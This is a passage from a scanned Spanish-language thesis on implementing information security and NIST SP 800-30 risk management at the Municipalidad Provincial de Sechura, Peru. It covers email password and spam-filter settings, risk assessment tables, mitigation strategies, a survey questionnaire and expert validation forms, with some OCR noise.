] > m dnisechura.gob... 112.99 MB / 150 MB / 75.33% ‘
(] > visechura.gob.pe 94.53 MB / 150 MB}/ 63.02% ‘
(] > o nisechura.gob.pe + Unrestricted 135.36 MB / 150 MB / 90.24% ‘
@] > p s@munisechur... + Unrestricted 245.7 KB / 150 MB / 0.16% ‘

Luego de seleccionar un de los correos vamos a dirigirnos a la configuracion para
desde ahi cambiar la contrasefia pulsando en PASSWORD & SECURITY.

EH contrasenia y seguridad

Cambiar contrasena

Cambie la contrasena de su cuenta a continuacion. La fortaleza de la contrasena es importante en el alojamiento web; le recomendamos er
contrasena. Siga los consejos a continuacion para mantener su contrasena segura.

Nota: Si cambia su contrasena, finalizara su sesion actual.

Contrasena antigua

Nueva contrasena

Nueva contrasena (de nuevo):

Fuerza (¢Por qué?)

Muy fuerte (100/100) Generador de contrasenas

() Habilitar la autenticacion implicita @

jCambia tu contrasena ahoral



Finalmente escribimos la contrasefia con mayores caracteres para que sea mas
segura antes cualquier ataque de fuerza bruta, como nos indica la imagen hemos

colocado una contrasefia muy fuerte.

Politica Nro. 7: Aplicar filtro alos correos con Spam en el portal de mensajeria

Una vez haciendo clic en la casilla ROUNDCUBE nos dirige a la bandeja de entrada
de mensajes durante este mes se reportaron muchos mensajes de Spam saturando
el sistema de correos y el sistema web antes de aplicar los filtros son aseguramos

primero de eliminar los Spam como también de la papelera para dejar limpia la

[=-3 — i
munisech@munisechura.gob.pe 3 L3 == e ~
Seleccionar 5 Opciones Actualizar
&= Entrada GED) Q. Buscar = -
& Borradores sinnhongcableassembly Hov 18:5

e *FFSPAM>>* RE: cable assemblies

<4 Enviados
s128 Hoy 18:17

globallogistics
& seam = Re: Railway Shipping agent to Central E._.

nson

I Papelera
= Archivo e FASPANM>>* Greetings
mrshawa hassan Hoy 1
3 Junk e FFESPAM==* Querido Amado Amigo,
rs.Margot EDGAR Hoy 13:23 D
e **SpPAM*>* Saludo querida
MAILER-DAEMON@sIn Hoy 1210
e Undelivered Mail Returned to Sender
peibachuang Hoy 11:47
e *HSPAM>** FW:!Re:LED S19/S14 Tube 7W-3S1.3/pc

nisechura.gob.pe Ho

e FHESPANM Action Required: == You have [9] quaran..

xiexian45269741 Hoy 09:21

e ***SPAPNM*==* Re: Sapphire Glass windows

Ahora para solucionar este problema nos dirigimos a configuracién para abrir la
carpeta SPAM FILTERS donde los dejaremos en un UMBRAL con el digito es
necesario dejarlo en el N.° 1 Para que ni bien llegue un spam este filtro lo elimine

automaticamente.



lUEbmai’ @786 L pantmemniecuagobye v

/*Filtros de spam i

Esta utiidad e permite fitrar el correo electronico "spam" no deseado antes de que legue a su bandeja de entrada.

Umbral de eliminacion automatica de spam

Este servidor asigna una puntuacion de spam (a traves del encabezado X-Spam-Bar) a cada correo electronico que recibe, Utilice este control para indicar  servidor que descarte cualquier correo electrdnico cuya puntuacion
0spere un umbral designado. Cuanto més bajo sea el umbral, més correos electranicos descartard el servidor.

O)Establezca un umbral personalizado: ! \

Deshabilitar [a eliminacion automatica de spam

Ahora no hay spam porque en el filtro lo dejamos en 1 esto explica que cuando el
filtro de spam detecte un mensaje de virus (Spam) este automéaticamente lo
eliminara evitando caer en el phishing y en la ingenieria social. cantidades de
mensajes que se envian saturando asi el sistema del correo y saturando la pagina

web.

munsech@munlsechura.gobpe  § k N E O 9 S A e I
Opclones  Actualizar Mas
& Entrada (ED Q buscs M
p‘ Borradores
Enviados
¢ seam

Calendario

(53 Junk

%

Configuraci...

)
o
Webmall
Home

La lista estd vacia




Politica Nro. 8: Mejorar el funcionamiento del portal Web

portal.munisechura.gob.pe

@ Accesor Cuentas de..  ® Curso de servicios.. [l Hack pagine [l Camara de sequrid... iNuevas oportunida... % Grupo de Control d..  #  Sistema de Bibli

This Account has been suspended.

Contact your hosting provider for more information.

webmaster@portalmunisechura.gob,pe

Ahora debemos entender que cuando se saturaba por la cantidad de spam la
pagina dejaba de funcionar practicamente quedaba suspendida y era un problema
grabe ya que el personal acudia a ella para desde ahi hacer algunos trabajos

laborales. Link: https://portal.munisechura.qgob.pe/ (Antes).

portal.munisechura.gob.pe

. @ Ubicacién =~ Email vy Teléfono . Portalde
@ MuniSechura &4 Calle Dos de Mayo N° 618 P4 munisechurd@munisechuragobype XS 073377207 ), Fransparendia
MI CIUDAD + MUNICIPALIDAD + NOTICIAS TRAMITES SERVICIOS SEGURIDAD + TURISMO + Q | f v @

PROCEDIMIENTO DE CONTRATACION PUBLICA
ESPECIAL N° 05-2021-MPS/CS

PRIMERA CONVOCATORIA

CONTRATACION DE LA EJECUCION DE LA OBRA:
“REHABILITACION DEL LOCAL ESCOLAR NIVEL INICIAL,
PRIMARIA 'Y SECUNDARIA DE LA I.E. N° 14079 - DIVINO
MAESTRO DEL AA.HH. VICENTE CHUNGA ALDANA DEL
DISTRITO Y PROVINCIA DE SECHURA-PIURA” CON CUI

N° 2!

Finalmente, la pagina funciona con normalidad operando las 24 horas del dia
ofreciendo un mejor servicio al publico y sobre todo a los empleados de la
municipalidad, aplicando la integridad y confidencialidad hacia la Municipalidad.

Link: https://portal.munisechura.gob.pe/ (Después).



https://portal.munisechura.gob.pe/
https://portal.munisechura.gob.pe/

Desarrollo de la Gestidon de Riesgos

La investigacion de la seguridad de la informacién se desarroll6 también con una
de las metodologias mas usadas por los especialistas en seguridad informatica
esta metodologia se llama NIST SP 800-30, debido al aumento de ataques
informaticos en los dltimos afios las empresas se vieron obligadas a buscar
nuevas estrategias para que puedan implementar un buen analisis de riesgos
para poder prevenir, reducir controlar los riesgos como las amenazas y
vulnerabilidades. Esta metodologia esta enlazada con los indicadores de la

variable dependiente y sirve para hacer un andlisis de riesgos informaticos.

La clave de la metodologia NIST SP 800-30 se basa en categorias para poder
listar la informacion segun el nivel de riesgo ademas como soluciones la
metodologia aplica estdndares para asegurar la integridad de la informacion

apropiada a su nivel segun la organizacion.

Metodologia NIST SP 800 - 30

caracterizacién identificacién de identifico'c'ién de
del sistema amenazas vulnerabilidades

" E
"\

andlisis de determinacién de andlisis de
controles la probabilidad impacto

g—— @ ——»

Determinacién Recomendacion Documentacion
del riesgo de controles de resultados

c
[0
Y
Q
=
O
w
o
o

Fuente: Métodos para la evaluacion de riesgos

Por ello se realizé un estudio y se registraron los incidentes de la organizacion,
donde se detectaron a tiempo las medidas y el nivel de riesgo, con el fin de
reducir los incidentes y que estos no ocurran en un futuro para una constante
continuidad. El analisis de riesgo es la mayor probabilidad de que ocurra una
amenaza llevando conjuntamente una vulnerabilidad, con el fin de generar un

impacto en la empresa.



| Amenaza

Vulnerabilidad
Y

Co=

Entonces estos cuatro puntos de la metodologia sera desarrollado ligeramente

con los 3 indicadores de la variable dependiente (Gestion de riesgos) para llevar
a cabo esta metodologia se logro ir Unicamente por los sistemas informaticos
tanto software como hardware de la municipalidad, entonces se logré desarrollar

los procesos.



Caracteristicas de los sistemas de la Municipalidad Sechura

Nombres de los Clasificacion e

sistemas y Detalle Soft Hardw Importancia
software

Almacenamiento interno tanto

de usuarios como procesos de

Sl [l [N=1D0N CAJA CHICA en ella se X X

encuentran los gestores de

base datos (SQL Server).

Las computadoras de escritorio

M OAVA-TO (I3 v laptops utilizadas dentro de la X X

municipalidad.

MuniSechura: Home, es el

portal web de la institucion

Sitio web donde hay informacién de todo X X

lo relacionado con la

municipalidad.

. Son los sistemas operativos el
S.O Microsoft

Windows

servidor utiliza Windows server

y las demas son de Windows 10 X X

Server, 7,10y
11

a 11 utlizados dentro de la
municipalidad.
Se utiliza con el fin de poder

_ ) crear usuarios con privilegios
Active directory X X
para tener acceso a la

informacion del servidor

se encarga de conectarse a la

Hardware de

red LAN, para poder navegar

redesy . X X
_ _ por internet.

comunicaciones




Amenazas y vulnerabilidades que afectan a la institucion

Las amenazas que podrian provocar un acceso no autorizado se describen como
un fendbmeno catastrofico, actividad humana malintencionada, eliminacion o
modificacion de la informacién y dafios fisicos a la institucién. Lo mas probable
es que si hay una amenaza también se encontraran dentro de ella

vulnerabilidades.

Las Vulnerabilidades son atributos y aspectos negativos que la amenaza puede
provocar por tal razon se dice que es una debilidad que hay dentro de un sistema
de informacion, una de estas vulnerabilidades en los sistemas podria ser la falta
de mantenimiento, errores humanos, falta de capacitacion al personal, falta de
politicas al acceso a los sistemas, no le dan actualizaciones, etc. Entonces si se
hizo una buena gestion de riesgos y estas vulnerabilidades son subsanadas
evitando dafos y riesgos en la municipalidad

En la siguiente tabla se logro identificar la cifra y cantidad de riesgos tanto como

amenazas y vulnerabilidades de los sistemas informaticos de la municipalidad.



N° DE
RIESGOS

Ind. 1: Identificar la cifra de riesgos informaticos de la municipalidad.

AMENAZAS

Catastrofe natural

Puertos USB activos

Informacion
confidencial

divulgada

VULNERABILIDADES

No hay un plan de continuidad
hacia la organizacion
Eliminacion y pérdida de

informacion almacenada

Infeccion de software maliciosos o

virus transmitidos por un USB

Divulgacion de los metadatos que
se encuentran en los documentos

cuando se cargan al portal web

DETALLE

Si se produjera este fendmeno los equipos y medios de
informacion quedarian destruidos.

Este fenomeno hard que la informacion almacenada
como documentos software y datos importantes
también quede perdida incluso eliminada ya que los
equipos quedarian inservibles.

Debemos ser conscientes que al introducir una
memoria USB o disco externo estariamos infectando a
los sistemas por un virus o software malicioso, es por
eso por lo que debemos analizar la unidad con un
antivirus recomendado.

La informacion valiosa que se almacena en los
documentos son los metadatos en ella se encuentran
los nombres de usuario, software de creacién incluso
los nombres de las impresoras. Esta informacion es
importante debido a que un hacker puede hacer

ingenieria social para atacar a su victima.









No se realizan
escaneo de

vulnerabilidades

La informacion
importante no esta

protegida

No hacen auditoria de seguridad a
nivel de RED

No realizan auditoria de seguridad a
nivel de software y web

MiTM “Cambiar especificacion de
cifrado” de OpenSSL

Servidor SSH Varias
Vulnerabilidades

Protocolo TLS VR. 1.1 en desuso

La informacion no se encuentra
cifrada cuando viaja a través de la
red

No encriptan la informacion

importante en los sistemas

El estado de seguridad a nivel de red es muy débil
debido a que no saben que puertos se encuentran
abiertos para darle una solucion y no puedan vulnerar
los hackers la red.

No cuenta con herramientas para analizar la web con el
fin de encontrar vulnerabilidades.

El OpenSSL se ve afectado por una vulnerabilidad
permitiendo descifrar datos confidenciales

Un atacante remoto no autenticado puede Explotar esta
vulnerabilidad y ejecutar codigo malicio.

Es un Servicio Remoto que carece de soporte en
formacién de cifrado ahora dejo de funcionar desde el
31 de marzo de 2020.

Si la informacién no viaja cifrada por un protocolo de
seguridad estariamos siendo observado por un hacker
recolectando todo lo que viaja a través de la red ya sean
mensajes, publicaciones, etc.

La informaciobn no est4 protegida por ninguna
herramienta de proteccion a la informacion queda a ojos
libres por quien pueda acceder a ella.
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Probabilidad (Amenaza) Impacto (Vulnerabilidad)

En este analisis se evalud la probabilidad y el impacto durante el proceso de
investigacion, luego se debe calcular la probabilidad (Amenaza) por el Impacto
(Vulnerabilidad).

Detalle:
R = Amenaza x Vulnerabilidad

Una vez identificado la cifra de riesgos paso a analizar los riesgos que se
identificaron y con la formula nos ayudara a resolver el andlisis para ello se debe
multiplicar las amenazas por las vulnerabilidades y los valores que debemos

tomar en cuenta son de 0 — 100.

Evaluacion del Nivel de Riesgo

Nivel de probabilidad e L
Significado

impacto

El riesgo muy alto describe a una amenaza

muy negativo como lo son las catastrofes
96-100 10 _ ’

naturales en los sistemas de tecnologia de la

institucion.

El riesgo alto se considera como un efecto
80-95 8 severo o adverso en los sistemas de TI.

Detalla que deberiamos identificar riesgos con
Moderada | 21-79 5 un efecto grave en los sistemas de

informacion.

Este riesgo detalla que esperaria de una

amenaza para identificar efectos adversos en

Baja 5-20 2

los sistemas de informacion. Estas amenazas
son limitadas

Riesgo de nivel muy baja detalla que la
amenaza tenga un efecto adverso que no
tiene mucha significancia en los sistemas de

informacion.




Ind. 2: Analizar los riesgos informaticos de la Municipalidad

N° DE Probabilidad Impacto Nivel
AMENAZAS VULNERABILIDADES
RIESGOS (Amenaza) (Vulnerabilidad) Riesgo

No hay un plan de continuidad hacia la Alta Muy Alta
Catastrofe organizacion 8

natural Eliminacion y pérdida de informacion Alta Muy Alta
almacenada 8 10
Puertos USB  Infeccion de software maliciosos o virus Moderada Alta Moderada
activos transmitidos por un USB 5
Divulgacion de los metadatos que se
Informacion encuentran en los documentos cuando Alla Muy Alla
confidencial se cargan al portal web 8
divulgada Divulgacion remota de informacion de Alta Moderada Moderada
espionaje SERVIDOR DNS 8 5
Phishing Muy Alta Alta
Falta de 10 8 -
capacitaciones Ingenieria Social Muy Alta Alta
en temas de 10 8 -

ciberseguridad Spam en correos Muy Alta Moderada Moderada
10 5 50



: Dafos internamente en los equipos Alta Moderada Moderada
No se evalia la

_ _ 8 5 40
RO5 integridad de : : - :
_ Los sistemas van cada vez mas lentos Alta Baja Baja
los equipos
8 2 16
No hacen constantemente
- _ _ Muy Alta Alta
actualizaciones en los sistemas Windows - .
en sus diferentes versiones
Software y : : :
_ Licencias de Oracle Java desactualizado Muy Alta Muy Alta
sistemas
_ 10 10
operativos :
: SQL Server desactualizado Muy Alta Alta
desactualizados
10 8
Microsoft Visual Redistributable Muy Alta Alta
desactualizado 10 8
Deficiencia de  No hay implementacion de un SGSI
: Muy Alta Muy Alta
Politicas de
_ _ 10 10
ciberseguridad
_ No hacen auditoria de seguridad a nivel Muy Alta Muy Alta
No se realizan
de RED 10 10
escaneo de : S : :
No realizan auditoria de seguridad a nivel Muy Alta Muy Alta

vulnerabilidades
de software y web 10 10




La informacion
importante no

esta protegida

No hay
Protocolos de
seguridad
R10 mediante el uso
de cifrado en
los sistemas
operativos
No estan bien

configurados

MiTM  “Cambiar especificacion de
cifrado” de OpenSSL

Servidor SSH Varias Vulnerabilidades

Protocolo TLS VR. 1.1 en desuso

La informacion no se encuentra cifrada
cuando viaja a través de la red

No encriptan la informacion importante
en los sistemas

Deteccién de protocolo SSL

Servicio de OpenSSL

No est& habilitada el protocolo SMB2

No esta habilitado la complejidad de
contrasefias

Muy Alta
10
Muy Alta
10
Muy Alta
10
Muy Alta
10
Muy Alta
10
Muy Alta
10
Muy Alta
10

Muy Alta
10

Alta

Alta
8
Muy Alta
10
Moderada
5
Alta
8
Muy Alta
10
Muy Alta
10
Muy Alta
10

Moderada
5

Alta

Moderada
50

Moderada
50

Moderada
64






Mitigar la cifra de riesgos tratados para prevenir riesgos en los sistemas.

En este caso es muy importante aplicar una evaluacion con 4 factores de
estrategia, donde es necesario determinar la importancia ademas el impacto de
cada uno de los riesgos, en este caso determinamos cuales son tolerables,

cuales importantes y cuales seria eliminados.

Para mitigar los riesgos debemos determinar lo siguiente:

e Reducir: Se aplican controles de seguridad en ella incluye la
implementacion de seguridad de la informacion con el fin de minimizar el
riesgo.

e Aceptar: En este caso las acciones son para eliminar un riesgo, pero
debemos aceptar el riesgo, debido a que tiene un costo muy alto y la
entidad no tiene recursos econémicos.

e Eliminar: Se elimina el riesgo y las actividades que causen incidentes.

e Compartir: Este caso se deriva por ejemplo a una suscripcion de péliza
de seguros, en este caso contratamos una compafia de seguridad

informéatica.



N° DE
RIESGOS

Ind. 3: Mitigar la cifra de riesgos tratados para prevenir riesgos en los sistemas.

AMENAZAS

Catastrofe natural

Puertos USB

activos

Informacion
confidencial
divulgada

Falta de
capacitaciones
en temas de

ciberseguridad

VULNERABILIDADES

No hay un plan de continuidad hacia
la organizacion

Eliminacion y pérdida de informacion
almacenada

Infeccion de software maliciosos o
virus transmitidos por un USB
Divulgacion de los metadatos que se
encuentran en los documentos
cuando se cargan al portal web
Divulgacion remota de informacion

de espionaje SERVIDOR DNS

Phishing

Medidas de Proteccién

Tener reglas, roles y protocolos
de actuacion

Tener una copia de seguridad a
nivel de servidor (VPS)

Tener bloqueado los puertos
USB de los escritorios

Eliminar y Limpiar los metadatos
de los documentos al momento
de subir a la web.

Utilizar Algoritmos o protocolos

de cifrado.
Observar e identificar
minuciosamente cada URL,

correos electronicos y paginas
web ya que podrian estar con
algin codigo malicioso para
infectar los equipos.

Estrategia

Aceptar

Aceptar

Reducir

Reducir

Reducir

Reducir















Figura 2. Instrumento de recoleccion de datos

Cuestionario
Dedigue unos minutos a completar esta pequefia encuesta.

Sus respuestas seran tratadas de forma confidencial y seran utilizadas

(nicamente para mejorar la Gestion de Riesgos en la Municipalidad Provincial
de Sechura.

Marca con una (X) |a alternativa que considera pertinente en cada pregunta.

Escala Valorativa

e
CATEGORIA CODIGO |VALOR
Siempre s 5
Casi Siempre Cs 4
A veces AN 3
Casi Nunca CN 2
Nunca M 1




GESTION DE RIESGOS

Identificar la cifra de riesgos en la municipalidad de C5) av | CN
sechura.

1 Si ze produjera una catastrofe natural y este
destruyera los sistemas informaticos ; Cuentan con
un plan de funcionamiento continuo?

2 i Los puertos USE estan operafivos v actives en las
computadoras?

3 iLimpian los metadatos de los documentos gque se
van a subir al portal web?

4 iLos empleados de la Municipalidad estan
capacitados en temas de ciberseguridad?

3 i 5e realizan analizis en los sistemas informaticos
para evaluar la integridad de los eguipos?

Analizar los riesgos informaticos de la Municipalidad. C5 | AV | CN

& i Los sistemas operativos, v software se encuenfran
actualizados en sus ullimas versiones?

7 iLa Municipalidad cuenta con Politicas de
sequridad en los sistemas TI17?

B i Se reslizan constantemente escaneo de
vulnerabilidades para evaluar la confidencialidad e
integridad en los sistemas informaticos?

E ;Aplican protocolos de seguridad mediante el uso
de cifrado?

10 | ;Las directivas de contrasefias fienen reglas de
complejidad?

11 | ;La informacion importante se encuenira encriptada
o cifrada?

12 | ;La Municipalidad cuenta con sistemas de
deteccion de incidentes?

13 | ;Hay reglas de comunicacion para informar un
incidente?

14 | ; Se documenta log hechos fomados para
solucionar y finalizar los incidentes™?

15 | ; Se tomara en cuenta la evaluacion de incidentes
para luego evitar recaidas?

cs | av | cu

Mitigar la cifra de riesgos tratados para prevenir
riesgos en los sistemas.

16 | ; Se aplican filtres antispam en los comeos
electronicos de la institucion?

17 | ;Realizan copias de seguridad en caso de pérdida
de informacion?

18 | ; Cifran el frafico de red a través de una VPN?

18 | ; Aplican las politicas de Seguridad de la
Informacion de forma responsable?

20

iLa Municipalidad cuenta con herramientas de
seqgundad para evitar un atague
informatico?




Figura 3. Carta de presentacion

ﬁ UNIVERSIDAD CESAR VALLEJO

Piura, 05 de julio de 2022

CARTA DE PRESENTACION

Municipalidad Provincial de Sechura
Piura

Presente:

De mi especial consideracion:

Es grato dirigirme a usted para expresarle el saludo cordial de la Escuela de Ingenieria de

Sistemas de la Universidad César Vallejo-Piura y a la vez presentarle a los Sres.:

LIZANO MENDOZA, ANYI EXMIT
ECHE PINGO, JORGE LUIS

Los mencionados alumnos pertenecen a la Escuela de Ingenieria de Sistemas de nuestra
Universidad y desean realizar su trabajo de Investigacion titulado “Implementacion de
seguridad de la informacion para mejorar la gestion de riesgos de Tl en la Municipalidad de
Sechura 2022" para el curso de proyecto de investigacion.

Por ello ruego a usted se brinden todas las facilidades a los estudiantes para que puedan

cumplir con los objetivos trazados en su investigacion.

Sin otro particular, me despido de usted, reiterandole mi mas cordial saludo.

Atentamente,

TENERL N
” & \
L] \=

Mg. Elmer Alfredo Chunga Zapata
Coordinador de Escuela
Ingenieria de Sistemas UCV Piura




Figura 4. Autorizacion para desarrollar la investigacion

POR SIEMPRE

“ANO DEL FORTALECIMIENTO DE LA SOBERANIA”

Sechura, 25 de abril 2022

CARTA N°. 70-2022/MPS-MS

SENOR (a):
ECHE PINGO JORGE LUIS
LIZANO MENDOZA ANY| EXMIT

ESTUDIANTE DE LA ESCUELA PROFESIONAL DE INGENIERIA DE
SISTEMAS

FACULTAD DE INGENIERIA Y ARQUITECTURA
UNIVERSIDAD CESAR VALLEJO

Presente. -

ASUNTO - AUTORIZACION PARA REALIZAR TRABAJO
DE INVESTIGACION.

Tengo el agrado de saludarle cordialmente y al mismo tiempo en atencion al
documento de la referencia hago de su conocimiento que tiene la autorizacion para
la realizacion del trabajo de Investigacion en el area de informatica, con el titulo
“Implementacion de seguridad de la informacion para mejorar la gestion de
riesgos de Tl en la Municipalidad de Sechura. 2022”, el tiempo que dure su
investigacion y culmine su desarrollo de tesis.

Agradeciendo la atencién que le brinde a la presente.

Atentamente,




Figura 5. Validaciéon de instrumentos

il UNIVERSIDAD CESAR VALLEJO

CARTA DE PRESENTACION

Mg. Giancarlo Sanchez Atuncar
Fresente

Asmnto: VALIDACION DE INSTRUMENTOS A TRAVES DE JUICIO DE EXPERTO.

Moz ez muy grato comunicames con usted para expresarle muestros saludos v asi mizme, hacer de zu
conocimiente que, siendo estudiants de la Escuela profesional de Inpenieria de Sistemas de la Universidad
Cazar Vallejo, en la sade Plura, requerimos validar los instrumentos con los cuales recogeremos la informacion
necezaria para poder desarrollar nuestra mveshizacion.

El situle de nuestro proyecto de imwvestizacion es: “ll'ﬂplEl'I'IEl'ltﬂ[:if)I'l de Seguridad de la
Informacion para Mejorar la Gestion de Riesgos de Tl en la Municipalidad de
Sechura. 2022" vy siendo imprescindible contar con la aprobacién de docentes aspecializados para poder

aplicar loz mstrumentos en mencion, hemos conziderado comveniente recwrmr a2 usted, anfe su connotada
experiencia en temas de imvestizzcion educatrva.

El axpediente de validacion, que le hacemos llegar contiene:

- (arta de presentacion.

-  Defimiciones conceptualas de las vanables v dimensiones.
- Mazinz da conzistencia

- Certificado de validez de contemido da los mstrumentos.,

- Instrumento de validacidn de la metodologia de dazamrollo
- Instrumento de validacion de cada indicader

Expresandole muestros sentimientos de respeto v consideracion nos despadimos de ustad, ne zin antes
agradecerls por la atencion qus dispensze a la prazenta.

Atentamente.
. §
— &
= o Y
G Lt ik
Fimma Firma
Apellides ¥ nombre: Apellidosz v nombre:

Echea Pingo, Jorge Lms Lizano Mendoza, Apog Exoat



Figura 6. Validacién del instrumento de recoleccion de datos

TABLA DE VALIDACION DEL INSTRUMENTO DE EXPERTOS: Cifra de riesgos en la Municipali
0% GENERA

Apellido: v Mombres dzl Exparto: iancarlo saches, Atuncar

Titule /o Grado Aczdemica: Aapeter

Doctor ) Magister |z ) Ingeniers | )  Licenciado () L (0 SRR

\Unneerzidad que labora: AIVers 23ar B

Fecha: L

TESI5: Implementacion de Seguridad de la Informacion para Mejorar la Gestion de Riesgos de Tl en
la Municipalidad de Sechura. 2022

Autores: Eche Pingo, Jorge Luis y Lizano Mendoza, Apyi Ezmit,

Deficients (0-20%) Regular (21-¥%) Bueno (31-70%) Muy Bueno {71-80%) Excelente (31-100%)
Mediznte 12 evahuacion de expertos ustad tisne [a facultad de calificar [a tabla de validacion del nstrumento mvelncrade medianta
una serie d indicadores con pumtuacionss especificadas en 1a tabla, con 1z valoracion de 0% - 100%. Asimismo, s2 exhora a las
sngerencias de cambio de e que crea pertinents, con 1a finalidad de mejorar la cohersncia de los imdicadares para o valoracion.
Il. ASPECTOS DE VALIDACION

VALUKALIUN
INDICADOR CRITERIO D-10% 21-60% B1-TO% | 71-30% | 34-100%
CLAFIDAD E: farmul2do con [Engug)e apropiain. 10
OEIETIVIDAD E=fa exprezade en coBbducta observanle. o,
Es adecnado el avance, [a clencia y .
ACTUALIDAD tecnologia i
OFGARIZACION | ERiEie un2 oTgazaceon [z, nir
Comprende los azpectes de cantrdad v .
EUFICIENCIA calidad. :
Adecnade para valorar los aspectos dzl .
INTENCIONALIDAD| o oma metodalagico v cientifice. 0%
~ . Esta bazadao en aspectos teericos ¥ B
CONEISTENCIA cientifics
[ COHEFENCIA Ex Tog dain: T23pecto al molcador. Ui,
WETODULOGIE Feeporde 2 propoatio d8 [vestsacton. [
El matrumento es adecuaco al tipo de e
PFERTEWENCIA imvestizacion !
TOTAL B4 | 90%

lil. PROMEDIO DE VALIDACION

85%

IV. OPCION DE APLICABILIDAD

{3 ) El instramento paede ser aplicado, fal como est2 elaborado
{oay Bl imztnumento debe ser mejorado amtes de ser aplicado

Al

FIRMA DEL EXPERTO|



CERTIFICADO DE VALIDEZ DE CONTENIDO DEL INSTRUMENTC QUE MIDE:

M DIMEN SIONES { items Pertinencia' [Relevancia® Claridad® Sugerencias
DIMENSION 1: Si No 5 | No | Si Ho

1 INDICADOR 1: Idenfificar la cifra de riesgos de la Municipalidad

a Es formulade con lenmuie apropiada. X x X

[ Es adeomdo el avance, 2 denciz y teoloma X X X

C Eistz ua orpanizzcion bogica. X X X

d Commprende Lo aspectos de camtidad y calidad X X X

3 Aderimio para valorar los aspectos del siztema metodelogico y cientfice. X X ES

f ‘Esta bazado en 2spectos tedricos v centificos, X X X

g En los datos respecin al indicadar. X X X

h Fasponde al proposite d= mvestizacion. X X ES

i Elinstrumento e aderuado al tipe ds investizacion. X X X
Observaciones (precisar si hay suficiencia):
Opinidn de aplicabilidad: Aplicable [ x1] Aplicable después de comegir [ ] Mo aplicable [ ]

Apellidoz y nombres del juez validador. Giancarlo Sapchez Atuncar — DNL:41488834

Ezpecialidad del validador: Magister
"Pertinenciz: E1 ttem comespomde al comeepte tzoricn formmlads.

*Relevancia: I item es epropiado pers nepresenter al commoete o dimension espectica del commucn 04 de julio del 2022
'Claridad: % exfiende i dificulted slame of smmeisde del fem. s concizo, exadte v direce

¥ i
ot Suficiencis, 52 dice suficiencia cuando los Sems plameados som suficientes pere medir [ dimensicn } ,','/

Firma del Experto Informante.



TABLA DE VALIDACION DEL INSTRUMENTO DE EXPERTOS: Cifra de riesgos en la Municipalidad.

: RALES
- AT | Altuna Tocto, Gerardo Arturo

Apellidos y Nombres del E”F’EW g en Ingenieria de Sistemas con MEncion en Tecnologia de 12 INormacion y
Titulo y/o Grado Académico: omunicacién & Ingeniero de Sistemas

Doctor { ) Magister [ X ) MgeEniers | |  Licenciado | | [T ) T

Universidad que labora: Universidad Uesar Valle)o
Facha : 2l
TESIS: Implemantacidn de Seguridad de la Informacidn para Mejorar la Gestion de Riesgos de Tl en
la Municipalidad de Sechura. 2022

Autores: Eche Pingo, Jorge Luis y Lizano Mendoza, Anyi Exmit

Deficiente (0-20%) Regular (21-50%) Bueno (51-70%) Muy Bueno (71-80%) Excelente (81-100%])

Mediante la evaluacion de expertos usted tiene la facultad de calificar la tabla de validacion del instrumento involucrado
mediante una serie de indicadores con puntuaciones especificadas en la tabla, con la valoracian de 0% - 100%.
Asimismo, s exhoria a las sugerencias de cambio de items que crea perfinente, con la finalidad de mejorar la
coherencia de los indicadores para su valoracion.

I. ASPECTOS DE VALIDACION

VALORACION
INDICADOR CRITERID B-20% HaE0% Bl | T1-00% | B1-100%
CLARIDAL Es formulado con lenguaje apropiado. 801%
CBJETIVIDAD Ests expresado en conducta obsemvable. O
Es sdecuado el avance, la ciencia y .
ACTUALIDAD tecnologia. B%s
DHGAMNIZALION Existe una organizacion logica. 90%
Comprende los aspectos de cantidad y ;
SUFICIENCIA calicad. 80%
Adecuado para valorar los aspectos del .
INTENCIONALIDAD | cietemg metodologico y cientifico. B0%
Estd basado en aspectos btedricos y
CONSISTENCIA r—— 80
[ COHERENCIA En los datos respecto al indicador. [T
METODOLOGIA Responde al propasito de investigacicn. R0%
El instrumenio es adecuado al fipo de 90
PERTEMENCIA  |investigacién. ’
TOTAL 0% | 80%%
lll. PROMEDIO DE VALIDACION
B85%
IV. OPCION DE APLICABILIDAD
(¥] El instrumento pueds ser aplicado, tal como estd elabarado
{ } Elinstrumento debe ser mejorado antes de ser aplicado _
BMRGDG B R e

INGEREND 0F finrEpag
Hing L1 KR 3Ly

FIRMA DEL EXPERTO



CERTIFICADO DE VALIDEZ DE CONTENIDO DEL INSTRUMENTO QUE MIDE:

W DIMENSIONES | items Pertinencia’ Relevancia® | Claridad® Sugerencias
DIMENSION 1: ] No ] No 8 No

1 INDICADOR 1: Identificar Ia clira de riesgos de la Municipalidad

B Es formulado con lenguaje apropiada. X X X

b Es adecuado el avance, la ciencia y lecnologia. X X X

[ Existe una organizacion logica. X X x

d Comprende los aspecios de canfidad y calidad. X X X

[] Adecuade para valorar los aspacios del sislema melodoldgico y centifico. X X X

] Esti basado en aspeclos ledricos y aentificos. X X x

a En los datos respecta al indicadar. X X x

h Responde al propasibo de invesligacan. X X X

I El imstrumento &5 adecuado al lipo de investigacicn. X X M
Observaciones (precisar si hay suficiencia): 5| HAY SUFIGIENGIA
Opinitn de aplicabilidad: Aplicable [X] Aplicable después de corregir [ ] Mo aplicable [ ]
Apellidos v nombres del juez validador. Mg, Altuna Tocto Gerardo Arturo DMI: 0ZT152RT

Especialidad del validador: Maestro en Ingenieria de Sistemas con Mencidn en Tecnologia de la Informacién y Comunicacién & Ingenlero de Sistemas
'Pertinencia: El lem comesponds al concepto tedrico formulado.

Relevancla: E Hem es speopisdo para representar al componante o dimersian especiica del consiruco 03 de setiembre del 2022
‘Claridad: Se entiende sin difcultad akpura el enuncade del flem, es contiso, exatt ¥ dieco

Noda: Suficientia, se dice sufickencia cusndo los ftems planteados son suficientes para medir la dmensidn

Firma del Experto Informante.



TABLA DE ?fLIDHEIlle DEL INSTRUMENTO DE EXPERTOS: Cifra de riesgos en la Municip
ok LTI BT A

Chugquicandor Feguena ton Daniel
Apellidos ¥ Wombres del Expertio: —
Titalo /o Grado Acadimice: Ilagister Ingeniena da slshemas Con Menclon e tecaplozas de [a miomacion

Doctor | ) Magister [ x ) Ingeniera [ ) Licenciado () Otro [ J e

Unmreraidad que lanora: ALVers =3ar EJ

Fecha : TV £

TESIS: Implementacion de Seguridad de la Informacion para Mejorar la Gestion de Riesgos de Tl en
la Municipalidad de Sechura. 2022

Autores: Eche Pingo, Jorge Luis y Lizano Mendoza, Anyi Exmit

Deficianta (0-20%) Regular (21-30%) Bueno (31-T0%) Muy Bueno (71-B0%) Excelente [21-100%)

Miedizmte la evaluzcian de expertos usted tiens la facultad de calificar la tabla de validacion del instrumento myvelucrade mediants
